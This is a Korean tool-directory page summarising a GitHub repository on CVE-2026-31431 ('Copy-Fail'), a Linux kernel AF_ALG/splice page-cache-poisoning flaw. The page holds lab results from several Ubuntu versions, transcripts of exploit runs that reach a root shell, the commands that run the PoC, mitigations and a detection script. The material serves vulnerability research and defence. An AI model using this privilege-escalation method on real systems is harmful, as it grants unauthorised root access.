Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
linux-copy-fail-CVE-2026-31431 — # CVE-2026-31431(Copy-Fail) 개념 증명 익스플로잇 Linux 커널의 AF_ALG 및 splice() 결함으로, 페이지 캐시 오염과 로컬 권한 상승을 가능하게 하는 취약점입니다. 분석, 실험실 결과 및 탐지 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/adilkurtulmus/linux-copy-fail-cve-2026-31431
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubadilkurtulmus/linux-copy-fail-cve-2026-31431

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

linux-copy-fail-CVE-2026-31431

# CVE-2026-31431(Copy-Fail) 개념 증명 익스플로잇 Linux 커널의 AF_ALG 및 splice() 결함으로, 페이지 캐시 오염과 로컬 권한 상승을 가능하게 하는 취약점입니다. 분석, 실험실 결과 및 탐지 스크립트를 포함합니다.

저장소 보기
3개월 전아직 검토되지 않음

Linux Copy-Fail 분석 (CVE-2026-31431) 🛡️

이 저장소는 "Copy-Fail"로 널리 알려진 CVE-2026-31431 취약점에 대한 심층 분석, 개념 증명(PoC), 그리고 실험실 테스트 결과를 포함합니다.

Copy-Fail은 Linux 커널의 Crypto API(AF_ALG)와 splice() 시스템 콜의 결합에서 발생하는 로직 결함을 악용합니다. 이를 통해 권한이 없는 로컬 공격자가 페이지 캐시 오염(Page Cache Poisoning)을 수행하여 로컬 권한 상승(LPE)을 달성할 수 있습니다.

🧠 기술 개요: 페이지 캐시 오염(Page Cache Poisoning)

디스크의 파일을 수정하는 전통적인 익스플로잇과 달리, Copy-Fail은 페이지 캐시(RAM)를 직접 공격합니다. 파일을 읽으면 커널은 성능 향상을 위해 RAM에 복사본을 저장합니다. 특정 커널 버전의 authenc 알고리즘에 존재하는 메모리 관리 버그로 인해, 공격자는 커널을 속여 이러한 "읽기 전용" 메모리 페이지를 덮어쓸 수 있습니다.

/usr/bin/su와 같은 SETUID 바이너리의 메모리 페이지를 오염시킴으로써 인증을 우회하고 루트 셸을 획득할 수 있습니다.

🧪 실험실 환경 및 테스트 결과

여러 Ubuntu 배포판에서 테스트가 수행되었으며, 특히 커널 백포팅(backporting)과 패치 관리의 영향을 중점적으로 분석했습니다.

배포판커널 버전패치 날짜결과관찰 사항
Ubuntu 24.046.8.0-87-generic2025년 10월❌ 실패보안 업데이트 활성화
Ubuntu 22.045.15.0-125-generic2024년 9월✅ 성공취약함 (패치되지 않음)
Ubuntu 18.044.15.0-197-generic2022년 11월✅ 성공취약함 (패치되지 않음)

백포팅 역설(The Backport Paradox)

커널 버전 번호는 오해를 불러일으킬 수 있습니다. 6.8과 같은 "최신" 커널은 보안 패치로 보호되는 반면, 4.15 및 5.15와 같은 구형 또는 EOL(수명 종료) 커널은 백포팅된 수정 사항이 없어 완전히 취약한 상태로 남아 있었습니다.

📊 Ubuntu 22.04 (커널 5.15) 비교 분석

연구 과정에서 동일한 메이저 커널 버전을 공유하는 두 대의 서로 다른 Ubuntu 22.04 시스템을 테스트하여 놀라운 결과를 얻었습니다:

커널 버전패치 날짜

분석:

이 테스트는 시스템 보안이 메이저 버전 번호만으로 측정될 수 없음을 증명합니다. 5.15.0-125를 실행하는 서버는 몇 초 만에 루트 권한을 획득할 수 있는 반면, 5.15.0-170은 공격을 완전히 차단합니다.

성공적인 익스플로잇 출력 (커널 5.15.0-125):

root@kitploit:~
$ python3 ubuntu_22.04_copy_fail_exploit.py 
[*] Poisoning /usr/bin/su (Ubuntu 22.04 / Kernel 5.15)...
[+] Exploit completed. Triggering Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#

🛠️ 개념 증명 (PoC)

PoC는 네이티브 os.splice 지원이 없는 Python 버전(특히 구버전)과의 호환성을 보장하기 위해 ctypes를 사용하여 개발되었습니다.

주요 기능:

  • ctypes를 통한 저수준 libc.splice 호출.
  • 대상 바이너리의 강제 캐싱.
  • 측면 영향 시연(한 사용자의 오염이 모든 사용자에게 영향을 미침).

익스플로잇 실행:

1.필요한 crypto 모듈 로드:

sudo modprobe af_alg algif_aead authenc echainiv

2.익스플로잇 실행:

python3 final_exploit.py

🎥 데모

root@kitploit:~
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su zehirleniyor (Kernel 4.15)...
[+] Bellek zehirlendi! Root tetikleniyor...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#

🛡️ 완화 및 예방

  • 1. 최종 해결책: 커널 업데이트

  • sudo apt update && sudo apt upgrade -y
  • sudo reboot

2. 긴급 대응: 캐시 플러시

  • 메모리의 오염된 페이지를 정리하려면

sync; echo 3 | sudo tee /proc/sys/vm/drop_caches

3. 사전 방어: 모듈 블랙리스트

  • echo "blacklist authenc" | sudo tee /etc/modprobe.d/blacklist-authenc.conf
  • echo "blacklist algif_aead" | sudo tee -a /etc/modprobe.d/blacklist-authenc.conf
  • sudo depmod -a

🛡️ 취약점 탐지 스크립트

root@kitploit:~
# 1. 커널 버전 확인
# uname -r

# 2. 로드된 모듈 확인 (출력이 없으면 안전)
# lsmod | grep -E "algif_aead|authencesn"

# 3. 중요 테스트 — authencesn 바인딩
python3 -c "
import socket
try:
    s = socket.socket(38, 5, 0)
    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
    print('[!] CRITICAL — System Vulnerable!')
    s.close()
except:
    print('[+] Secure — authencesn unreachable')
"

# 4. setuid 바이너리 해시 (참조용)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd

평가 테이블:

결과의미
lsmod 출력 없음 + 바인딩 오류✅ 안전함
lsmod 출력 존재 또는 바인딩 성공⚠️ 취약함, 즉시 패치 적용

면책 조항: 이 연구와 PoC는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 승인되지 않은 시스템에서의 사용은 법적 결과를 초래할 수 있습니다.

도구 다운로드
결과
상태
5.15.0-1252024년 9월✅ 성공취약함 (익스플로잇 트리거됨)
5.15.0-1702026년 1월❌ 실패안전함 (패치됨)